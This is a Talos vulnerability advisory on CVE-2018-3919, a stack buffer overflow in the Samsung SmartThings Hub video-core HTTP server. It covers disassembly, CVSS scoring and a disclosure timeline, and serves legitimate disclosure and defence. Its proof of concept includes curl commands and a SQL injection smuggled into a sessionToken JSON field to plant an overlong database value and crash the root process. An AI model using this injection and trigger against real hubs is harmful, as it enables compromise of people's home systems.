Talos Vulnerability Report

TALOS-2018-0583

Samsung SmartThings Hub video-core Database clips Code Execution Vulnerability

July 26, 2018
CVE Number

CVE-2018-3919

Summary

An exploitable stack-based buffer overflow vulnerability exists in the retrieval of database fields in video-core's HTTP server of Samsung SmartThings Hub. The video-core process insecurely extracts the fields from the "clips" table of its SQLite database, leading to a buffer overflow on the stack. An attacker can send a series of HTTP requests to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Details

Samsung produces a series of devices aimed at controlling and monitoring a home, such as wall switches, LED bulbs, thermostats and cameras. One of those is the Samsung SmartThings Hub, a central controller which allows an end user to use their smartphone to connect to their house remotely and operate other devices through it. The hub board utilizes several systems on chips. The firmware in question is executed by an i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A architecture.

The firmware is Linux-based, and runs a series of daemons that interface with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth protocols. Additionally, the hubCore process is responsible for communicating with the remote SmartThings servers via a persistent TLS connection. These servers act as a bridge that allows for secure communication between the smartphone application and the hub. End users can simply install the SmartThings mobile application on their smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras, configures them and looks at their livestreams. For testing, we set up the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream can be displayed by the smartphone application by connecting either to the remote SmartThings servers, or directly to the camera, if they're both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process, which uses ffmpeg to connect via RTSP to the smart camera in its same local network, and at the same time, provides a streamable link for the smartphone application.

The remote SmartThings servers have the possibility to communicate with the video-core process by sending messages in the persistent TLS connection, established by the hubCore process. These messages can encapsulate an HTTP request, which hubCore would relay directly to the HTTP server exposed by video-core. The HTTP server listens on port 3000, bound to the localhost address, so a local connection is needed to perform this request.

We identified a vulnerable function that can be exploited to achieve code execution on the video-core process, which is running as root.

The hub allows to store clips information, which represent small recordings that can be triggered on specific events. These are stored in the "clips" table of video-core's SQLite database (found at "/hub/data/videocore/db/VideoCore.db").

Function sub_12314 is used to retrieve all the columns from the "clips" table and save them in a structure, stored on the stack, passed as second argument.

.text:00012314     sub_12314
.text:00012314
.text:00012314     var_4  = -4
.text:00012314
.text:00012314 000        CMP             R0, #0 ; [1]
.text:00012318 000        BEQ             loc_1245C
.text:0001231C 000        CMP             R1, #0 ; [2]
.text:00012320 000        BEQ             loc_12444
.text:00012324 000        CMP             R2, #0 ; [3]
...
.text:00012390 040        B               loc_123D8
.text:00012394
.text:00012394     loc_12394
.text:00012394 040        CMP             R0, #0
.text:00012398 040        BLT             loc_12428
.text:0001239C 040        LDR             R10, [R11,#-0x28]
.text:000123A0 040        ADD             R6, R6, #1
.text:000123A4 040        MOV             R0, R10
.text:000123A8 040        BL              strlen
.text:000123AC 040        MOV             R1, R10
.text:000123B0 040        STR             R0, [R4,#-4]
.text:000123B4 040        MOV             R0, R4
.text:000123B8 040        BL              strcpy           ; [5]
.text:000123BC 040        MOV             R0, R10
.text:000123C0 040        BL              free
.text:000123C4
.text:000123C4     loc_123C4
.text:000123C4 040        ADD             R9, R9, #1
.text:000123C8 040        ADD             R5, R5, #0x84
.text:000123CC 040        CMP             R9, #0xF
.text:000123D0 040        ADD             R4, R4, #0x204
.text:000123D4 040        BEQ             loc_12428
.text:000123D8
.text:000123D8     loc_123D8
.text:000123D8 040        MOV             R0, #1           ; db_id
.text:000123DC 040        MOV             R1, R7           ; where
.text:000123E0 040        MOV             R2, R5           ; column
.text:000123E4 040        SUB             R3, R11, #0x28
.text:000123E8 040        STR             R8, [R11,#-0x28]
.text:000123EC 040        BL              db_find          ; [4]
.text:000123F0 040        CMN             R0, #6
.text:000123F4 040        BNE             loc_12394

The function takes three arguments: the clip ID [1], the clip ID length [2], and a structure [3] where all the columns for the related clip ID should be stored. At [4] a query is performed for fetching just one column:

SELECT <column> FROM clip WHERE _id='<clip-id>'

where "clip-id" is the first argument [1] and "column" is one of the columns of the table. If db_find succeeds, the result is then copied in the structure [3] using strcpy [5]. The input structure is populated by repeating the same logic for each column:

_id
cameraId
locationId
dni
captureTime
startTime
endTime
correlationId
callbackUrl
callbackCalled
status
statusMessage
url
filePath
thumbnailId

Each element in the structure is supposed to have a maximum size of 512 bytes, but since there is no restriction on the length of the copy operation, the buffer can be overflowed, and this allows for overflowing the input structure and execute arbitrary code.

Note that while we scored this vulnerability CVSS 7.5 on its own, it would constitute a CVSS 8.5 (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with TALOS-2018-0556. This is demonstrated in the proof of concepts below.

Exploit Proof of Concept

Function sub_12314 is called by multiple functions, in the following proof of concept we show just one of the ways for triggering the vulnerability, by crashing the video-core process. Note that it is assumed that a camera already exists in the hub.

1- Add a clip
$ sClipId=1234
$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"2000-01-01T00:00:00","callbackUrl":"x","url":"x","correlationId":"'${sClipId}'"}'

2- Modify the "clips.captureTime" value in the database. This is possible, for example, using using TALOS-2018-0556:
$ sInj='","_id=0 where 1=2;update clip set captureTime=replace(substr(quote(zeroblob((9000 + 1) / 2)), 3, 9000), \\"0\\", \\"A\\") where _id='${sClipId}';--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'x/'}"

The first request will add a clip with id "1234", and after replying to the request the hub will continue to operate on the new camera and will call, among others, sub_12314. If the second request is executed quickly enough (that is, before sub_12314 is called), an attacker could manage to execute the second request while the first request is still being completed, in order to alter the content of the clip id "1234" by setting an overlong "captureTime", which will cause video-core to crash when handled by sub_12314.

Timeline

2018-05-07 - Vendor Disclosure
2018-05-23 - Discussion with vendor/review of timeline for disclosure
2018-07-17 - Vendor patched
2018-07-26 - Public Release

Credit

Discovered by Claudio Bozzato of Cisco Talos.